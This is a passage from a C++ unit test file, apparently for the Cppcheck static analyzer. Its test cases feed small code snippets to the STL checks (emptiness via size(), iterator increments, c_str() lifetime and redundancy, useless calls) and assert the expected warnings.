};\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"Zzz * zzz;\\n\"\n \"int main() {\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n }\n\n {\n const char code[] = \"namespace N {\\n\"\n \" class Zzz {\\n\"\n \" public:\\n\"\n \" std::list x;\\n\"\n \" };\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"int main() {\\n\"\n \" Zzz * zzz;\\n\"\n \" if (zzz->x.size() > 0) { }\\n\"\n \"}\";\n check(code, dinit(CheckOptions, $.cppstandard = Standards::CPP03));\n ASSERT_EQUALS(\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\"\n \"[test.cpp:10:14]: (performance) Possible inefficient checking for 'x' emptiness. [stlSize]\\n\", // duplicate\n errout_str());\n\n check(code);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void size4() { // #2652 - don't warn about vector/deque\n check(\"void f(std::vector &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::deque &v) {\\n\"\n \" if (v.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::array &a) {\\n\"\n \" if (a.size() > 0U) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantCondition1() {\n check(\"void f(string haystack)\\n\"\n \"{\\n\"\n \" if (haystack.find(needle) != haystack.end())\\n\"\n \" haystack.remove(needle);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) Redundant checking of STL container element existence before removing it. [redundantIfRemove]\\n\", errout_str());\n }\n\n void missingInnerComparison1() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:13] -> [test.cpp:2:71]: (warning) Missing bounds check for extra iterator increment in loop. [StlMissingComparison]\\n\", errout_str());\n\n check(\"void f(std::map &ints) {\\n\"\n \" for (std::map::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" ++it->second;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector &v) {\\n\"\n \" for(std::vector::const_iterator it = v.begin(); it != v.end(); ++it) {\\n\"\n \" if(it+2 != v.end())\\n\"\n \" {\\n\"\n \" ++it;\\n\"\n \" ++it;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison2() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" if (a) {\\n\"\n \" it++;\\n\"\n \" if (it == ints.end())\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison3() {\n check(\"void f(std::set &ints) {\\n\"\n \" for (std::set::iterator it = ints.begin(); it != ints.end(); ++it) {\\n\"\n \" for (std::set::iterator it = ints2.begin(); it != ints2.end(); ++it)\\n\"\n \" { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison4() {\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n check(\"function f1(std::list &l1) {\\n\"\n \" for(std::list::iterator i = l1.begin(); i != l1.end(); i++) {\\n\"\n \" if (*i == 44) {\\n\"\n \" l1.insert(++i, 55);\\n\"\n \" return;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n }\n\n void missingInnerComparison5() {\n check(\"void f() {\\n\"\n \" for(it = map1.begin(); it != map1.end(); it++) {\\n\"\n \" str[i++] = (*it).first;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void missingInnerComparison6() {\n check(\"void f(std::string &s) {\\n\"\n \" for(string::iterator it = s.begin(); it != s.end(); it++) {\\n\"\n \" it = s.insert(++it, 0);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void cstr() {\n check(\"void f() {\\n\"\n \" std::string errmsg;\\n\"\n \" throw errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after throwing exception. [stlcstrthrow]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" return errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return std::string(\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + errmsg).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char *get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return (\\\"ERROR: \\\" + std::string(\\\"crash me\\\")).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::ostringstream errmsg;\\n\"\n \" const char *c = errmsg.str().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"std::string f();\\n\"\n \"\\n\"\n \"void foo() {\\n\"\n \" const char *c = f().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:17]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"const char *Foo::f() {\\n\"\n \" std::string s;\\n\"\n \" return s.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"const char *f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"const char* foo() {\\n\"\n \" static std::string text;\\n\"\n \" text = \\\"hello world\\\\n\\\";\\n\"\n \" return text.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str()); // #3427\n\n // Implicit conversion back to std::string\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"const std::string& get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"class Foo {\\n\"\n \" std::string GetVal() const;\\n\"\n \"};\\n\"\n \"std::string f() {\\n\"\n \" Foo f;\\n\"\n \" return f.GetVal().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"std::string get_msg() {\\n\"\n \" std::string errmsg;\\n\"\n \" return errmsg;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string get_msg() {\\n\" // #3678\n \" MyStringClass errmsg;\\n\"\n \" return errmsg.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(const char* c, const std::string str) {}\\n\"\n \"void Foo3(std::string& rstr) {}\\n\"\n \"void Foo4(std::string str, const std::string& str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::stringstream ss(\\\"foo\\\");\\n\"\n \" Foo1(str);\\n\"\n \" Foo1(str.c_str());\\n\"\n \" Foo2(str.c_str(), str);\\n\"\n \" Foo2(str.c_str(), str.c_str());\\n\"\n \" Foo3(str.c_str());\\n\"\n \" Foo4(str, str);\\n\"\n \" Foo4(str.c_str(), str);\\n\"\n \" Foo4(str, str.c_str());\\n\"\n \" Foo4(ss.str(), ss.str().c_str());\\n\"\n \" Foo4(str.c_str(), str.c_str());\\n\"\n \"}\");\n\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:15:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:16:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:17:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 2 is slow and redundant. [stlcstrParam]\\n\", errout_str());\n\n check(\"void Foo1(const std::string& str) {}\\n\"\n \"void Foo2(char* c, const std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo1(str, foo);\\n\" // Don't crash\n \" Foo2(str.c_str());\\n\" // Don't crash\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" void func(std::string str) const {}\\n\"\n \" static void sfunc(std::string str) {}\\n\"\n \"};\\n\"\n \"void func(std::string str) {}\\n\"\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo foo;\\n\"\n \" func(str.c_str());\\n\"\n \" Foo::sfunc(str.c_str());\\n\"\n \" foo.func(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:10]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s);\\n\" // #8336\n \"struct T {\\n\"\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" struct U { std::string s; } u;\"\n \"};\\n\"\n \"namespace N { namespace O { std::string s; } }\\n\"\n \"void g(const std::vector& v, T& t) {\\n\"\n \" for (std::vector::const_iterator it = v.begin(); it != v.end(); ++it)\\n\"\n \" f(it->c_str());\\n\"\n \" f(v.begin()->c_str());\\n\"\n \" f(t.g().c_str());\\n\"\n \" f(t.a[0].c_str());\\n\"\n \" f(t.u.s.c_str());\\n\"\n \" f(N::O::s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:9]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:10:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:11:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:12:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:13:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\"\n \"[test.cpp:14:5]: (performance) Passing the result of c_str() to a function that takes std::string as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"void svgFile(const std::string &content, const std::string &fileName, const double end = 1000., const double start = 0.);\\n\"\n \"void Bar(std::string filename) {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" std::ofstream svgFile(filename.c_str(), std::ios::trunc);\\n\"\n \" svgFile << \\\"test\\\";\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void Foo(const char* p) {}\\n\"\n \"void Foo(const std::string& str) {Foo(str.c_str());}\\n\" // Overloaded\n \"void Bar() {\\n\"\n \" std::string str = \\\"bar\\\";\\n\"\n \" Foo(str);\\n\"\n \" Foo(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int atoi(const std::string& str) {\\n\" // #3729: Don't suggest recursive call\n \" return atoi(str.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"\\n\"\n \"const char *f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:8:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"class Fred {\\n\"\n \" std::string hello();\\n\"\n \" const char *f();\\n\"\n \"};\\n\"\n \"std::string Fred::hello()\\n\"\n \"{\\n\"\n \" return \\\"hello\\\";\\n\"\n \"}\\n\"\n \"const char *Fred::f()\\n\"\n \"{\\n\"\n \" return hello().c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:11:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n // #4183 - using MyStringClass.c_str()\n check(\"void a(const std::string &str);\\n\"\n \"\\n\"\n \"void b() {\\n\"\n \" MyStringClass s;\\n\"\n \" a(s.c_str());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string Format(const char * name) {\\n\" // #4938\n \" return String::Format(\\\"%s:\\\", name).c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7480\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"std::string GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo* mapInfo = &internal_getMapInfo;\\n\"\n \" return mapInfo->author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (performance) Returning the result of c_str() in a function that returns std::string is slow and redundant. [stlcstrReturn]\\n\", errout_str());\n\n check(\"struct InternalMapInfo {\\n\"\n \" std::string author;\\n\"\n \"};\\n\"\n \"const char* GetMapAuthor(int index) {\\n\"\n \" const InternalMapInfo mapInfo = internal_getMapInfo;\\n\"\n \" return mapInfo.author.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #7656\n \" std::string data;\\n\"\n \"};\\n\"\n \"const S& getS();\\n\"\n \"const char* test() {\\n\"\n \" const struct S &s = getS();\\n\"\n \" return s.data.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #7930\n \" std::string data;\\n\"\n \"};\\n\"\n \"const char* test() {\\n\"\n \" S s;\\n\"\n \" std::string &ref = s.data;\\n\"\n \" return ref.c_str();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:5]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"void f(const wchar_t* w, int i = 0, ...);\\n\" // #10357\n \"void f(const std::string& s, int i = 0);\\n\"\n \"void g(const std::wstring& p) {\\n\"\n \" f(p.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" //#9161\n \" const char* f() const noexcept {\\n\"\n \" return (\\\"\\\" + m).c_str();\\n\"\n \" }\\n\"\n \" std::string m;\\n\"\n \"};\\n\", dinit(CheckOptions, $.inconclusive = true));\n ASSERT_EQUALS(\"[test.cpp:3:9]: (error) Dangerous usage of c_str(). The value returned by c_str() is invalid after this call. [stlcstr]\\n\", errout_str());\n\n check(\"struct S {\\n\" // #10493\n \" void f(const char** pp);\\n\"\n \" std::string s;\\n\"\n \"};\\n\"\n \"void S::f(const char** pp) {\\n\"\n \" try {\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \" catch (...) {\\n\"\n \" s = \\\"xyz\\\";\\n\"\n \" *pp = member.c_str();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b(a.c_str());\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b{ a.c_str() };\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Constructing a std::string from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\", errout_str());\n\n check(\"std::string f(const std::string& a) {\\n\"\n \" std::string b = a.c_str();\\n\"\n \" return b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a + b.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::string g(const std::string& a, const std::string& b) {\\n\"\n \" return a.c_str() + b;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Concatenating the result of c_str() and a std::string is slow and redundant. [stlcstrConcat]\\n\", errout_str());\n\n check(\"std::vector v;\\n\" // don't crash\n \"int i;\\n\"\n \"void f() {\\n\"\n \" const double* const QM_R__ buf(v.data() + i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct T {\\n\" // #7515\n \" std::string g();\\n\"\n \" std::string a[1];\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(std::stringstream& strm, const std::string& s, T& t) {\\n\"\n \" strm << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str();\\n\"\n \" strm << \\\"abc\\\" << s.c_str() << \\\"def\\\";\\n\"\n \" strm << \\\"abc\\\" << t.g().c_str() << \\\"def\\\";\\n\"\n \" strm << t.a[0].c_str();\\n\"\n \" strm << t.v.begin()->c_str();\\n\"\n \" auto it = t.v.begin()\\n\"\n \" strm << it->c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:7:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:8:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:9:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:10:19]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:11:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:12:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\"\n \"[test.cpp:14:10]: (performance) Passing the result of c_str() to a stream is slow and redundant. [stlcstrStream]\\n\",\n errout_str());\n\n check(\"struct S { std::string str; };\\n\"\n \"struct T { S s; };\\n\"\n \"struct U { T t[1]; };\\n\"\n \"void f(const T& t, const U& u, std::string& str) {\\n\"\n \" if (str.empty())\\n\"\n \" str = t.s.str.c_str();\\n\"\n \" else\\n\"\n \" str = u.t[0].s.str.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:8:9]: (performance) Assigning the result of c_str() to a std::string is slow and redundant. [stlcstrAssignment]\\n\",\n errout_str());\n\n check(\"void f(std::string_view);\\n\" // #11547\n \"void g(const std::string & s) {\\n\"\n \" f(s.c_str());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (performance) Passing the result of c_str() to a function that takes std::string_view as argument no. 1 is slow and redundant. [stlcstrParam]\\n\",\n errout_str());\n\n check(\"std::string_view f(const std::string& s) {\\n\"\n \" std::string_view sv = s.c_str();\\n\"\n \" return sv;\\n\"\n \"}\\n\"\n \"std::string_view g(const std::string& s) {\\n\"\n \" std::string_view sv{ s.c_str() };\\n\"\n \" return sv;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22]: (performance) Assigning the result of c_str() to a std::string_view is slow and redundant. [stlcstrAssignment]\\n\"\n \"[test.cpp:6:22]: (performance) Constructing a std::string_view from the result of c_str() is slow and redundant. [stlcstrConstructor]\\n\",\n errout_str());\n\n check(\"void f(const std::string& s) {\\n\" // #11819\n \" std::string_view sv(s.data(), 13);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { std::string x; };\\n\" // #11802\n \"std::vector> global;\\n\"\n \"const char* f() {\\n\"\n \" auto s = std::make_shared();\\n\"\n \" global.push_back(s);\\n\"\n \" return s->x.c_str();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void uselessCalls() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.swap(s2);\\n\"\n \" s2.swap(s2);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:5]: (performance) It is inefficient to swap a object with itself by calling 's2.swap(s2)' [uselessCallsSwap]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::string s1, s2;\\n\"\n \" s1.compare(s2);\\n\"\n \" s2.compare(s2);\\n\"\n \" s1.compare(s2.c_str());\\n\"\n \" s1.compare(0, s1.size(), s1);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:16]: (warning) It is inefficient to call 's2.compare(s2)' as it always returns 0. [uselessCallsCompare]\\n\", errout_str());\n\n // #7370 False positive uselessCallsCompare on unknown type\n check(\"class ReplayIteratorImpl{\\n\"\n \" int Compare(ReplayIteratorImpl* other) {\\n\"\n \" int cmp;\\n\"\n \" int ret = cursor_->compare(cursor_, other->cursor_, &cmp);\\n\"\n \" return (cmp);\\n\"\n \" }\\n\"\n \" WT_CURSOR *cursor_;\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" std::string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:8:10]: (performance) Ineffective call of function \\'substr\\' because it returns a copy of \"\n \"the object. Use operator= instead. [uselessCallsSubstr]\\n\"\n \"[test.cpp:9:10]: (performance) Ineffective call of function \\'substr\\' because it returns an empty string. [uselessCallsSubstr]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" int x=1;\\n\"\n \" string s1, s2;\\n\"\n \" s1 = s1.substr();\\n\"\n \" s2 = s1.substr(x);\\n\"\n \" s1 = s2.substr(0, x);\\n\"\n \" s1 = s2.substr(0,std::string::npos);\\n\"\n \" s1 = s2.substr(x+5-n, 0);\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main()\\n\"\n \"{\\n\"\n \" std::string str = \\\"a1b1\\\";\\n\"\n \" return str.find(str[1], 2);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool foo(std::vector& v) {\\n\"\n \" v.empty();\\n\"\n \" return v.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Ineffective call of function 'empty()'. Did you intend to call 'clear()' instead? [uselessCallsEmpty]\\n\", errout_str());\n\n check(\"void f() {\\n\" // #4938\n \" OdString str;\\n\"\n \" str.empty();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #4032\n \" const std::string greeting(\\\"Hello World !!!\\\");\\n\"\n \" const std::string::size_type npos = greeting.rfind(\\\" \\\");\\n\"\n \" if (npos != std::string::npos)\\n\"\n \" std::cout << greeting.substr(0, npos) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector a) {\\n\"\n \" std::remove(a.begin(), a.end(), val);\\n\"\n \" std::remove_if(a.begin(), a.end(), val);\\n\"\n \" std::unique(a.begin(), a.end(), val);\\n\"\n \" x = std::remove(a.begin(), a.end(), val);\\n\"\n \" a.erase(std::remove(a.begin(), a.end(), val));\\n\"\n \" std::remove(\\\"foo.txt\\\");\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (warning) Return value of std::remove() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:3:5]: (warning) Return value of std::remove_if() ignored. Elements remain in container. [uselessCallsRemove]\\n\"\n \"[test.cpp:4:5]: (warning) Return value of std::unique() ignored. Elements remain in container. [uselessCallsRemove]\\n\", errout_str());\n\n // #4431 - fp\n check(\"bool f() {\\n\"\n \" return x ? true : (y.empty());\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8360\n check(\"void f(std::string s) {\\n\"\n \" for (;s.empty();) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11166\n check(\"std::string f(std::string s) {\\n\"\n \" s = s.substr(0, s.size() - 1);\\n\"\n \" return s;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (performance) Ineffective call of function 'substr' because a prefix of the string is assigned to itself. Use resize() or pop_back() instead. [uselessCallsSubstr]\\n\",\n errout_str());\n\n check(\"std::string f(std::string s, 